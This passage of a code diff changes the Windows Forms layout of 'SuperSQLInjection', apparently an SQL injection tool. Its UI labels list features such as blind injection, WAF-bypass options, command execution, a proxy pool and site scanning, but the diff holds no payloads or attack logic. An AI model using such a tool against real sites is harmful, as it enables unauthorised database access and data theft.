this.tab_datapack.Size = new System.Drawing.Size(557, 385); + this.tab_datapack.Size = new System.Drawing.Size(557, 391); this.tab_datapack.TabIndex = 0; this.tab_datapack.Text = "HTTP请求数据包"; this.tab_datapack.UseVisualStyleBackColor = true; @@ -1578,7 +1638,7 @@ this.txt_inject_request.Multiline = true; this.txt_inject_request.Name = "txt_inject_request"; this.txt_inject_request.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.txt_inject_request.Size = new System.Drawing.Size(551, 379); + this.txt_inject_request.Size = new System.Drawing.Size(551, 385); this.txt_inject_request.TabIndex = 13; this.txt_inject_request.Text = resources.GetString("txt_inject_request.Text"); this.txt_inject_request.TextChanged += new System.EventHandler(this.txt_inject_request_TextChanged); @@ -1630,7 +1690,7 @@ this.tab_tokenset.Location = new System.Drawing.Point(4, 29); this.tab_tokenset.Name = "tab_tokenset"; this.tab_tokenset.Padding = new System.Windows.Forms.Padding(3); - this.tab_tokenset.Size = new System.Drawing.Size(557, 385); + this.tab_tokenset.Size = new System.Drawing.Size(557, 391); this.tab_tokenset.TabIndex = 1; this.tab_tokenset.Text = "Token/随机值/验证码处理"; this.tab_tokenset.UseVisualStyleBackColor = true; @@ -1641,7 +1701,7 @@ this.groupBox17.Dock = System.Windows.Forms.DockStyle.Fill; this.groupBox17.Location = new System.Drawing.Point(3, 3); this.groupBox17.Name = "groupBox17"; - this.groupBox17.Size = new System.Drawing.Size(551, 315); + this.groupBox17.Size = new System.Drawing.Size(551, 321); this.groupBox17.TabIndex = 25; this.groupBox17.TabStop = false; this.groupBox17.Text = "获取Token的HTTP请求包"; @@ -1655,7 +1715,7 @@ this.token_txt_http_request.Multiline = true; this.token_txt_http_request.Name = "token_txt_http_request"; this.token_txt_http_request.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.token_txt_http_request.Size = new System.Drawing.Size(545, 295); + this.token_txt_http_request.Size = new System.Drawing.Size(545, 301); this.token_txt_http_request.TabIndex = 8; this.token_txt_http_request.TextChanged += new System.EventHandler(this.token_txt_http_request_TextChanged); this.token_txt_http_request.KeyDown += new System.Windows.Forms.KeyEventHandler(this.token_txt_http_request_KeyDown); @@ -1668,7 +1728,7 @@ this.groupBox19.Controls.Add(this.token_txt_startStr); this.groupBox19.Controls.Add(this.token_btn_testGetToken); this.groupBox19.Dock = System.Windows.Forms.DockStyle.Bottom; - this.groupBox19.Location = new System.Drawing.Point(3, 318); + this.groupBox19.Location = new System.Drawing.Point(3, 324); this.groupBox19.Name = "groupBox19"; this.groupBox19.Size = new System.Drawing.Size(551, 64); this.groupBox19.TabIndex = 25; @@ -1728,7 +1788,7 @@ this.tab_sencond_inject.Controls.Add(this.groupBox20); this.tab_sencond_inject.Location = new System.Drawing.Point(4, 29); this.tab_sencond_inject.Name = "tab_sencond_inject"; - this.tab_sencond_inject.Size = new System.Drawing.Size(557, 385); + this.tab_sencond_inject.Size = new System.Drawing.Size(557, 391); this.tab_sencond_inject.TabIndex = 2; this.tab_sencond_inject.Text = "二次注入"; this.tab_sencond_inject.UseVisualStyleBackColor = true; @@ -1742,7 +1802,7 @@ this.groupBox20.Controls.Add(this.txt_sencond_request); this.groupBox20.Location = new System.Drawing.Point(0, 3); this.groupBox20.Name = "groupBox20"; - this.groupBox20.Size = new System.Drawing.Size(557, 381); + this.groupBox20.Size = new System.Drawing.Size(557, 387); this.groupBox20.TabIndex = 26; this.groupBox20.TabStop = false; this.groupBox20.Text = "二次注入请求包"; @@ -1752,7 +1812,7 @@ this.groupBox21.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.groupBox21.Controls.Add(this.label28); - this.groupBox21.Location = new System.Drawing.Point(6, 326); + this.groupBox21.Location = new System.Drawing.Point(6, 332); this.groupBox21.Name = "groupBox21"; this.groupBox21.Size = new System.Drawing.Size(543, 50); this.groupBox21.TabIndex = 10; @@ -1779,7 +1839,7 @@ this.txt_sencond_request.Multiline = true; this.txt_sencond_request.Name = "txt_sencond_request"; this.txt_sencond_request.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.txt_sencond_request.Size = new System.Drawing.Size(551, 302); + this.txt_sencond_request.Size = new System.Drawing.Size(551, 308); this.txt_sencond_request.TabIndex = 8; this.txt_sencond_request.TextChanged += new System.EventHandler(this.txt_sencond_request_TextChanged); this.txt_sencond_request.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txt_sencond_request_KeyDown); @@ -1803,7 +1863,7 @@ this.groupBox3.Controls.Add(this.btn_inject_setInject); this.groupBox3.Location = new System.Drawing.Point(577, 13); this.groupBox3.Name = "groupBox3"; - this.groupBox3.Size = new System.Drawing.Size(247, 418); + this.groupBox3.Size = new System.Drawing.Size(247, 424); this.groupBox3.TabIndex = 12; this.groupBox3.TabStop = false; this.groupBox3.Text = "注入设置"; @@ -1919,7 +1979,7 @@ this.groupBox15.Controls.Add(this.chk_inject_reverseKey); this.groupBox15.Location = new System.Drawing.Point(0, 258); this.groupBox15.Name = "groupBox15"; - this.groupBox15.Size = new System.Drawing.Size(249, 159); + this.groupBox15.Size = new System.Drawing.Size(249, 165); this.groupBox15.TabIndex = 14; this.groupBox15.TabStop = false; this.groupBox15.Text = "Bool盲注取数据配置"; @@ -2114,11 +2174,12 @@ this.mytab.Controls.Add(this.tab_injectLog); this.mytab.Controls.Add(this.tab_logCenter); this.mytab.ImageList = this.myicon_list; + this.mytab.ItemSize = new System.Drawing.Size(82, 28); this.mytab.Location = new System.Drawing.Point(9, 120); this.mytab.Name = "mytab"; - this.mytab.Padding = new System.Drawing.Point(6, 8); + this.mytab.Padding = new System.Drawing.Point(0, 0); this.mytab.SelectedIndex = 0; - this.mytab.Size = new System.Drawing.Size(840, 481); + this.mytab.Size = new System.Drawing.Size(840, 486); this.mytab.TabIndex = 1; // // tab_proxy @@ -2126,10 +2187,10 @@ this.tab_proxy.Controls.Add(this.groupBox25); this.tab_proxy.Controls.Add(this.groupBox24); this.tab_proxy.ImageKey = "proxy.png"; - this.tab_proxy.Location = new System.Drawing.Point(4, 33); + this.tab_proxy.Location = new System.Drawing.Point(4, 32); this.tab_proxy.Name = "tab_proxy"; this.tab_proxy.Padding = new System.Windows.Forms.Padding(3); - this.tab_proxy.Size = new System.Drawing.Size(832, 444); + this.tab_proxy.Size = new System.Drawing.Size(832, 450); this.tab_proxy.TabIndex = 11; this.tab_proxy.Text = "代理设置"; this.tab_proxy.UseVisualStyleBackColor = true; @@ -2270,7 +2331,7 @@ this.groupBox24.Controls.Add(this.proxy_lvw_proxyList); this.groupBox24.Location = new System.Drawing.Point(6, 65); this.groupBox24.Name = "groupBox24"; - this.groupBox24.Size = new System.Drawing.Size(821, 373); + this.groupBox24.Size = new System.Drawing.Size(821, 377); this.groupBox24.TabIndex = 6; this.groupBox24.TabStop = false; this.groupBox24.Text = "代理池列表"; @@ -2282,7 +2343,7 @@ this.toolStrip_proxyList.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.proxy_ts_btn_clearAllFailedProxy, this.proxy_ts_btn_proxy_checkNoCheckProxy}); - this.toolStrip_proxyList.Location = new System.Drawing.Point(3, 345); + this.toolStrip_proxyList.Location = new System.Drawing.Point(3, 349); this.toolStrip_proxyList.Name = "toolStrip_proxyList"; this.toolStrip_proxyList.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip_proxyList.Size = new System.Drawing.Size(815, 25); @@ -2457,7 +2518,7 @@ this.proxy_lvw_proxyList.FullRowSelect = true; this.proxy_lvw_proxyList.Location = new System.Drawing.Point(6, 83); this.proxy_lvw_proxyList.Name = "proxy_lvw_proxyList"; - this.proxy_lvw_proxyList.Size = new System.Drawing.Size(808, 259); + this.proxy_lvw_proxyList.Size = new System.Drawing.Size(808, 263); this.proxy_lvw_proxyList.TabIndex = 0; this.proxy_lvw_proxyList.UseCompatibleStateImageBehavior = false; this.proxy_lvw_proxyList.View = System.Windows.Forms.View.Details; @@ -2593,37 +2654,40 @@ this.tab_cmd.Controls.Add(this.cmd_txt_result); this.tab_cmd.Controls.Add(this.groupBox8); this.tab_cmd.ImageKey = "cmd.png"; - this.tab_cmd.Location = new System.Drawing.Point(4, 33); + this.tab_cmd.Location = new System.Drawing.Point(4, 32); this.tab_cmd.Name = "tab_cmd"; - this.tab_cmd.Size = new System.Drawing.Size(832, 444); + this.tab_cmd.Size = new System.Drawing.Size(832, 450); this.tab_cmd.TabIndex = 6; this.tab_cmd.Text = "命令执行"; this.tab_cmd.UseVisualStyleBackColor = true; // // cmd_txt_result // - this.cmd_txt_result.Dock = System.Windows.Forms.DockStyle.Fill; - this.cmd_txt_result.Location = new System.Drawing.Point(0, 76); + this.cmd_txt_result.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.cmd_txt_result.Location = new System.Drawing.Point(3, 82); this.cmd_txt_result.MaxLength = 3276700; this.cmd_txt_result.Multiline = true; this.cmd_txt_result.Name = "cmd_txt_result"; this.cmd_txt_result.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.cmd_txt_result.Size = new System.Drawing.Size(832, 368); + this.cmd_txt_result.Size = new System.Drawing.Size(826, 368); this.cmd_txt_result.TabIndex = 2; this.cmd_txt_result.TextChanged += new System.EventHandler(this.cmd_txt_result_TextChanged); this.cmd_txt_result.KeyDown += new System.Windows.Forms.KeyEventHandler(this.cmd_txt_result_KeyDown); // // groupBox8 // + this.groupBox8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox8.Controls.Add(this.cmd_chk_showCmdResult); this.groupBox8.Controls.Add(this.cmd_btn_stop); this.groupBox8.Controls.Add(this.cmd_btn_start); this.groupBox8.Controls.Add(this.cmd_txt_cmd); this.groupBox8.Controls.Add(this.label15); - this.groupBox8.Dock = System.Windows.Forms.DockStyle.Top; - this.groupBox8.Location = new System.Drawing.Point(0, 0); + this.groupBox8.Location = new System.Drawing.Point(3, 3); this.groupBox8.Name = "groupBox8"; - this.groupBox8.Size = new System.Drawing.Size(832, 76); + this.groupBox8.Size = new System.Drawing.Size(826, 73); this.groupBox8.TabIndex = 1; this.groupBox8.TabStop = false; this.groupBox8.Text = "命令执行"; @@ -2633,7 +2697,7 @@ this.cmd_chk_showCmdResult.AutoSize = true; this.cmd_chk_showCmdResult.Checked = true; this.cmd_chk_showCmdResult.CheckState = System.Windows.Forms.CheckState.Checked; - this.cmd_chk_showCmdResult.Location = new System.Drawing.Point(417, 32); + this.cmd_chk_showCmdResult.Location = new System.Drawing.Point(502, 32); this.cmd_chk_showCmdResult.Name = "cmd_chk_showCmdResult"; this.cmd_chk_showCmdResult.Size = new System.Drawing.Size(72, 16); this.cmd_chk_showCmdResult.TabIndex = 13; @@ -2644,7 +2708,7 @@ // cmd_btn_stop // this.cmd_btn_stop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.cmd_btn_stop.Location = new System.Drawing.Point(591, 28); + this.cmd_btn_stop.Location = new System.Drawing.Point(676, 28); this.cmd_btn_stop.Name = "cmd_btn_stop"; this.cmd_btn_stop.Size = new System.Drawing.Size(75, 23); this.cmd_btn_stop.TabIndex = 12; @@ -2655,7 +2719,7 @@ // cmd_btn_start // this.cmd_btn_start.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.cmd_btn_start.Location = new System.Drawing.Point(495, 28); + this.cmd_btn_start.Location = new System.Drawing.Point(580, 28); this.cmd_btn_start.Name = "cmd_btn_start"; this.cmd_btn_start.Size = new System.Drawing.Size(75, 23); this.cmd_btn_start.TabIndex = 12; @@ -2668,7 +2732,7 @@ this.cmd_txt_cmd.Location = new System.Drawing.Point(81, 30); this.cmd_txt_cmd.MaxLength = 8000; this.cmd_txt_cmd.Name = "cmd_txt_cmd"; - this.cmd_txt_cmd.Size = new System.Drawing.Size(325, 21); + this.cmd_txt_cmd.Size = new System.Drawing.Size(401, 21); this.cmd_txt_cmd.TabIndex = 1; // // label15 @@ -2683,37 +2747,39 @@ // tab_bypass // this.tab_bypass.Controls.Add(this.groupBox9); - this.tab_bypass.ImageKey = "codeChange.png"; - this.tab_bypass.Location = new System.Drawing.Point(4, 33); + this.tab_bypass.ImageKey = "bypass.png"; + this.tab_bypass.Location = new System.Drawing.Point(4, 32); this.tab_bypass.Name = "tab_bypass"; - this.tab_bypass.Size = new System.Drawing.Size(832, 444); + this.tab_bypass.Size = new System.Drawing.Size(832, 450); this.tab_bypass.TabIndex = 7; this.tab_bypass.Text = "注入绕过"; this.tab_bypass.UseVisualStyleBackColor = true; // // groupBox9 // + this.groupBox9.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox9.Controls.Add(this.groupBox18); this.groupBox9.Controls.Add(this.groupBox23); this.groupBox9.Controls.Add(this.groupBox22); - this.groupBox9.Dock = System.Windows.Forms.DockStyle.Fill; - this.groupBox9.Location = new System.Drawing.Point(0, 0); + this.groupBox9.Location = new System.Drawing.Point(3, 3); this.groupBox9.Name = "groupBox9"; - this.groupBox9.Size = new System.Drawing.Size(832, 444); + this.groupBox9.Size = new System.Drawing.Size(826, 447); this.groupBox9.TabIndex = 1; this.groupBox9.TabStop = false; this.groupBox9.Text = "注入绕过处理"; // // groupBox18 // - this.groupBox18.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + this.groupBox18.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.groupBox18.Controls.Add(this.bypass_btn_saveTemplate); this.groupBox18.Controls.Add(this.bypass_cbox_loadTemplate); this.groupBox18.Controls.Add(this.label33); - this.groupBox18.Location = new System.Drawing.Point(6, 394); + this.groupBox18.Location = new System.Drawing.Point(9, 390); this.groupBox18.Name = "groupBox18"; - this.groupBox18.Size = new System.Drawing.Size(820, 49); + this.groupBox18.Size = new System.Drawing.Size(811, 51); this.groupBox18.TabIndex = 25; this.groupBox18.TabStop = false; // @@ -2762,7 +2828,7 @@ this.groupBox23.Controls.Add(this.bypass_txt_replace); this.groupBox23.Location = new System.Drawing.Point(9, 122); this.groupBox23.Name = "groupBox23"; - this.groupBox23.Size = new System.Drawing.Size(817, 259); + this.groupBox23.Size = new System.Drawing.Size(811, 262); this.groupBox23.TabIndex = 27; this.groupBox23.TabStop = false; this.groupBox23.Text = "字符替换处理"; @@ -2819,7 +2885,7 @@ this.bypass_lvw_replaceString.FullRowSelect = true; this.bypass_lvw_replaceString.Location = new System.Drawing.Point(7, 64); this.bypass_lvw_replaceString.Name = "bypass_lvw_replaceString"; - this.bypass_lvw_replaceString.Size = new System.Drawing.Size(804, 188); + this.bypass_lvw_replaceString.Size = new System.Drawing.Size(798, 191); this.bypass_lvw_replaceString.TabIndex = 7; this.bypass_lvw_replaceString.UseCompatibleStateImageBehavior = false; this.bypass_lvw_replaceString.View = System.Windows.Forms.View.Details; @@ -2891,9 +2957,9 @@ this.groupBox22.Controls.Add(this.bypass_cbox_randIPToHeader); this.groupBox22.Controls.Add(this.bypass_chk_use_unicode); this.groupBox22.Controls.Add(this.bypass_hex); - this.groupBox22.Location = new System.Drawing.Point(6, 20); + this.groupBox22.Location = new System.Drawing.Point(9, 20); this.groupBox22.Name = "groupBox22"; - this.groupBox22.Size = new System.Drawing.Size(820, 96); + this.groupBox22.Size = new System.Drawing.Size(811, 96); this.groupBox22.TabIndex = 26; this.groupBox22.TabStop = false; // @@ -3080,23 +3146,24 @@ this.tab_encoding.Controls.Add(this.groupBox11); this.tab_encoding.Controls.Add(this.groupBox10); this.tab_encoding.ImageKey = "convert.png"; - this.tab_encoding.Location = new System.Drawing.Point(4, 33); + this.tab_encoding.Location = new System.Drawing.Point(4, 32); this.tab_encoding.Name = "tab_encoding"; - this.tab_encoding.Size = new System.Drawing.Size(832, 444); + this.tab_encoding.Size = new System.Drawing.Size(832, 450); this.tab_encoding.TabIndex = 5; this.tab_encoding.Text = "编码转换"; this.tab_encoding.UseVisualStyleBackColor = true; // // groupBox13 // + this.groupBox13.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox13.Controls.Add(this.label21); this.groupBox13.Controls.Add(this.label23); this.groupBox13.Controls.Add(this.encode_cbox_encode); this.groupBox13.Controls.Add(this.encode_cbox_decode); - this.groupBox13.Dock = System.Windows.Forms.DockStyle.Bottom; - this.groupBox13.Location = new System.Drawing.Point(0, 381); + this.groupBox13.Location = new System.Drawing.Point(6, 387); this.groupBox13.Name = "groupBox13"; - this.groupBox13.Size = new System.Drawing.Size(832, 63); + this.groupBox13.Size = new System.Drawing.Size(819, 63); this.groupBox13.TabIndex = 8; this.groupBox13.TabStop = false; this.groupBox13.Text = "操作:"; @@ -3171,9 +3238,9 @@ | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.groupBox11.Controls.Add(this.encode_txt_result); - this.groupBox11.Location = new System.Drawing.Point(0, 99); + this.groupBox11.Location = new System.Drawing.Point(6, 168); this.groupBox11.Name = "groupBox11"; - this.groupBox11.Size = new System.Drawing.Size(825, 249); + this.groupBox11.Size = new System.Drawing.Size(819, 209); this.groupBox11.TabIndex = 7; this.groupBox11.TabStop = false; this.groupBox11.Text = "结果:"; @@ -3186,17 +3253,18 @@ this.encode_txt_result.Multiline = true; this.encode_txt_result.Name = "encode_txt_result"; this.encode_txt_result.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.encode_txt_result.Size = new System.Drawing.Size(819, 229); + this.encode_txt_result.Size = new System.Drawing.Size(813, 189); this.encode_txt_result.TabIndex = 2; this.encode_txt_result.KeyDown += new System.Windows.Forms.KeyEventHandler(this.encode_txt_result_KeyDown); // // groupBox10 // + this.groupBox10.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox10.Controls.Add(this.encode_txt_input); - this.groupBox10.Dock = System.Windows.Forms.DockStyle.Top; - this.groupBox10.Location = new System.Drawing.Point(0, 0); + this.groupBox10.Location = new System.Drawing.Point(6, 3); this.groupBox10.Name = "groupBox10"; - this.groupBox10.Size = new System.Drawing.Size(832, 97); + this.groupBox10.Size = new System.Drawing.Size(819, 154); this.groupBox10.TabIndex = 6; this.groupBox10.TabStop = false; this.groupBox10.Text = "输入:"; @@ -3209,7 +3277,7 @@ this.encode_txt_input.Multiline = true; this.encode_txt_input.Name = "encode_txt_input"; this.encode_txt_input.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.encode_txt_input.Size = new System.Drawing.Size(826, 77); + this.encode_txt_input.Size = new System.Drawing.Size(813, 134); this.encode_txt_input.TabIndex = 1; this.encode_txt_input.TextChanged += new System.EventHandler(this.encode_txt_encode_TextChanged); this.encode_txt_input.KeyDown += new System.Windows.Forms.KeyEventHandler(this.encode_txt_input_KeyDown); @@ -3219,20 +3287,22 @@ this.tab_scanInjection.Controls.Add(this.groupBox14); this.tab_scanInjection.Controls.Add(this.groupBox12); this.tab_scanInjection.ImageKey = "scan.png"; - this.tab_scanInjection.Location = new System.Drawing.Point(4, 33); + this.tab_scanInjection.Location = new System.Drawing.Point(4, 32); this.tab_scanInjection.Name = "tab_scanInjection"; - this.tab_scanInjection.Size = new System.Drawing.Size(832, 444); + this.tab_scanInjection.Size = new System.Drawing.Size(832, 450); this.tab_scanInjection.TabIndex = 8; this.tab_scanInjection.Text = "注入扫描"; this.tab_scanInjection.UseVisualStyleBackColor = true; // // groupBox14 // + this.groupBox14.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox14.Controls.Add(this.splitContainer2); - this.groupBox14.Dock = System.Windows.Forms.DockStyle.Fill; - this.groupBox14.Location = new System.Drawing.Point(0, 95); + this.groupBox14.Location = new System.Drawing.Point(6, 101); this.groupBox14.Name = "groupBox14"; - this.groupBox14.Size = new System.Drawing.Size(832, 349); + this.groupBox14.Size = new System.Drawing.Size(820, 349); this.groupBox14.TabIndex = 21; this.groupBox14.TabStop = false; // @@ -3249,8 +3319,8 @@ // splitContainer2.Panel2 // this.splitContainer2.Panel2.Controls.Add(this.scanInjection_lvw_result); - this.splitContainer2.Size = new System.Drawing.Size(826, 329); - this.splitContainer2.SplitterDistance = 244; + this.splitContainer2.Size = new System.Drawing.Size(814, 329); + this.splitContainer2.SplitterDistance = 240; this.splitContainer2.SplitterWidth = 3; this.splitContainer2.TabIndex = 18; // @@ -3263,7 +3333,7 @@ this.scanInject_lsb_links.Location = new System.Drawing.Point(0, 0); this.scanInject_lsb_links.Name = "scanInject_lsb_links"; this.scanInject_lsb_links.ScrollAlwaysVisible = true; - this.scanInject_lsb_links.Size = new System.Drawing.Size(244, 329); + this.scanInject_lsb_links.Size = new System.Drawing.Size(240, 329); this.scanInject_lsb_links.TabIndex = 0; // // scanInjectionURL_cms @@ -3304,7 +3374,7 @@ this.scanInjection_lvw_result.GridLines = true; this.scanInjection_lvw_result.Location = new System.Drawing.Point(0, 0); this.scanInjection_lvw_result.Name = "scanInjection_lvw_result"; - this.scanInjection_lvw_result.Size = new System.Drawing.Size(579, 329); + this.scanInjection_lvw_result.Size = new System.Drawing.Size(571, 329); this.scanInjection_lvw_result.TabIndex = 5; this.scanInjection_lvw_result.UseCompatibleStateImageBehavior = false; this.scanInjection_lvw_result.View = System.Windows.Forms.View.Details; @@ -3416,6 +3486,8 @@ // // groupBox12 // + this.groupBox12.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox12.Controls.Add(this.scanInect_chk_isSpider); this.groupBox12.Controls.Add(this.scanInect_chk_scanError); this.groupBox12.Controls.Add(this.scanInjection_btn_spider); @@ -3431,13 +3503,12 @@ this.groupBox12.Controls.Add(this.scanInjection_domainsCount); this.groupBox12.Controls.Add(this.scanInjection_scanedDomainCount); this.groupBox12.Controls.Add(this.label25); - this.groupBox12.Dock = System.Windows.Forms.DockStyle.Top; - this.groupBox12.Location = new System.Drawing.Point(0, 0); + this.groupBox12.Location = new System.Drawing.Point(6, 3); this.groupBox12.Name = "groupBox12"; - this.groupBox12.Size = new System.Drawing.Size(832, 95); + this.groupBox12.Size = new System.Drawing.Size(820, 92); this.groupBox12.TabIndex = 21; this.groupBox12.TabStop = false; - this.groupBox12.Text = " "; + this.groupBox12.Text = "注入扫描"; // // scanInect_chk_isSpider // @@ -3586,10 +3657,10 @@ // this.tab_injectLog.Controls.Add(this.lvw_injectLog); this.tab_injectLog.ImageKey = "Ilog.png"; - this.tab_injectLog.Location = new System.Drawing.Point(4, 33); + this.tab_injectLog.Location = new System.Drawing.Point(4, 32); this.tab_injectLog.Name = "tab_injectLog"; this.tab_injectLog.Padding = new System.Windows.Forms.Padding(3); - this.tab_injectLog.Size = new System.Drawing.Size(832, 444); + this.tab_injectLog.Size = new System.Drawing.Size(832, 450); this.tab_injectLog.TabIndex = 10; this.tab_injectLog.Text = "注入记录"; this.tab_injectLog.UseVisualStyleBackColor = true; @@ -3610,7 +3681,7 @@ this.lvw_injectLog.FullRowSelect = true; this.lvw_injectLog.Location = new System.Drawing.Point(3, 3); this.lvw_injectLog.Name = "lvw_injectLog"; - this.lvw_injectLog.Size = new System.Drawing.Size(826, 438); + this.lvw_injectLog.Size = new System.Drawing.Size(826, 444); this.lvw_injectLog.TabIndex = 1; this.lvw_injectLog.UseCompatibleStateImageBehavior = false; this.lvw_injectLog.View = System.Windows.Forms.View.Details; @@ -3703,7 +3774,7 @@ this.toolStripStatusLabel11, this.lbl_packsCount, this.lbl_info}); - this.statusStrip1.Location = new System.Drawing.Point(0, 733); + this.statusStrip1.Location = new System.Drawing.Point(0, 756); this.statusStrip1.Name = "statusStrip1"; this.statusStrip1.Padding = new System.Windows.Forms.Padding(1, 0, 15, 0); this.statusStrip1.Size = new System.Drawing.Size(861, 22); @@ -3842,71 +3913,6 @@ this.menuStrip_main.TabIndex = 2; this.menuStrip_main.Text = "menuStrip1"; // - // toolStrip_vers_btn_getVariable - // - this.toolStrip_vers_btn_getVariable.Image = global::SuperSQLInjection.Properties.Resources.getvers; - this.toolStrip_vers_btn_getVariable.ImageTransparentColor = System.Drawing.Color.Magenta; - this.toolStrip_vers_btn_getVariable.Name = "toolStrip_vers_btn_getVariable"; - this.toolStrip_vers_btn_getVariable.Size = new System.Drawing.Size(100, 22); - this.toolStrip_vers_btn_getVariable.Text = "获取环境变量"; - this.toolStrip_vers_btn_getVariable.Click += new System.EventHandler(this.toolStrip_vers_btn_getVariable_Click); - // - // toolStrip_vers_btn_stopGetVariable - // - this.toolStrip_vers_btn_stopGetVariable.Image = global::SuperSQLInjection.Properties.Resources.stop; - this.toolStrip_vers_btn_stopGetVariable.ImageTransparentColor = System.Drawing.Color.Magenta; - this.toolStrip_vers_btn_stopGetVariable.Name = "toolStrip_vers_btn_stopGetVariable"; - this.toolStrip_vers_btn_stopGetVariable.Size = new System.Drawing.Size(76, 22); - this.toolStrip_vers_btn_stopGetVariable.Text = "停止获取"; - this.toolStrip_vers_btn_stopGetVariable.Click += new System.EventHandler(this.toolStrip_vers_btn_stopGetVariable_Click); - // - // data_dbs_tsl_getTables - // - this.data_dbs_tsl_getTables.Image = global::SuperSQLInjection.Properties.Resources.getvers; - this.data_dbs_tsl_getTables.ImageTransparentColor = System.Drawing.Color.Magenta; - this.data_dbs_tsl_getTables.Name = "data_dbs_tsl_getTables"; - this.data_dbs_tsl_getTables.Size = new System.Drawing.Size(72, 22); - this.data_dbs_tsl_getTables.Text = "获 取 表"; - this.data_dbs_tsl_getTables.Click += new System.EventHandler(this.data_dbs_tsl_getTables_Click); - // - // data_dbs_tsl_getColumns - // - this.data_dbs_tsl_getColumns.Image = global::SuperSQLInjection.Properties.Resources.getvers; - this.data_dbs_tsl_getColumns.ImageTransparentColor = System.Drawing.Color.Magenta; - this.data_dbs_tsl_getColumns.Name = "data_dbs_tsl_getColumns"; - this.data_dbs_tsl_getColumns.Size = new System.Drawing.Size(72, 21); - this.data_dbs_tsl_getColumns.Text = "获 取 列"; - this.data_dbs_tsl_getColumns.Click += new System.EventHandler(this.data_dbs_tsl_getColumns_Click); - // - // data_dbs_tsl_getDatas - // - this.data_dbs_tsl_getDatas.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; - this.data_dbs_tsl_getDatas.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_getDatas.Image"))); - this.data_dbs_tsl_getDatas.ImageTransparentColor = System.Drawing.Color.Magenta; - this.data_dbs_tsl_getDatas.Name = "data_dbs_tsl_getDatas"; - this.data_dbs_tsl_getDatas.Size = new System.Drawing.Size(60, 22); - this.data_dbs_tsl_getDatas.Text = "获取数据"; - this.data_dbs_tsl_getDatas.Click += new System.EventHandler(this.data_dbs_tsl_getDatas_Click); - // - // data_dbs_tsl_exportDatas - // - this.data_dbs_tsl_exportDatas.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; - this.data_dbs_tsl_exportDatas.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_exportDatas.Image"))); - this.data_dbs_tsl_exportDatas.ImageTransparentColor = System.Drawing.Color.Magenta; - this.data_dbs_tsl_exportDatas.Name = "data_dbs_tsl_exportDatas"; - this.data_dbs_tsl_exportDatas.Size = new System.Drawing.Size(60, 22); - this.data_dbs_tsl_exportDatas.Text = "导出数据"; - this.data_dbs_tsl_exportDatas.Click += new System.EventHandler(this.data_dbs_tsl_exportDatas_Click); - // - // data_dbs_tsl_stopGetDatas - // - this.data_dbs_tsl_stopGetDatas.Image = global::SuperSQLInjection.Properties.Resources.stop; - this.data_dbs_tsl_stopGetDatas.Margin = new System.Windows.Forms.Padding(10, 0, 0, 2); - this.data_dbs_tsl_stopGetDatas.Name = "data_dbs_tsl_stopGetDatas"; - this.data_dbs_tsl_stopGetDatas.Size = new System.Drawing.Size(72, 23); - this.data_dbs_tsl_stopGetDatas.Text = "停止获取"; - this.data_dbs_tsl_stopGetDatas.Click += new System.EventHandler(this.data_dbs_tsl_stopGetDatas_Click); - // // tsmi_menu // this.tsmi_menu.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -4051,7 +4057,7 @@ this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.SystemColors.Control; - this.ClientSize = new System.Drawing.Size(861, 755); + this.ClientSize = new System.Drawing.Size(861, 778); this.Controls.Add(this.statusStrip1); this.Controls.Add(this.gb_logo); this.Controls.Add(this.mytab); diff --git a/SuperSQLInjection/Main.cs b/SuperSQLInjection/Main.cs index 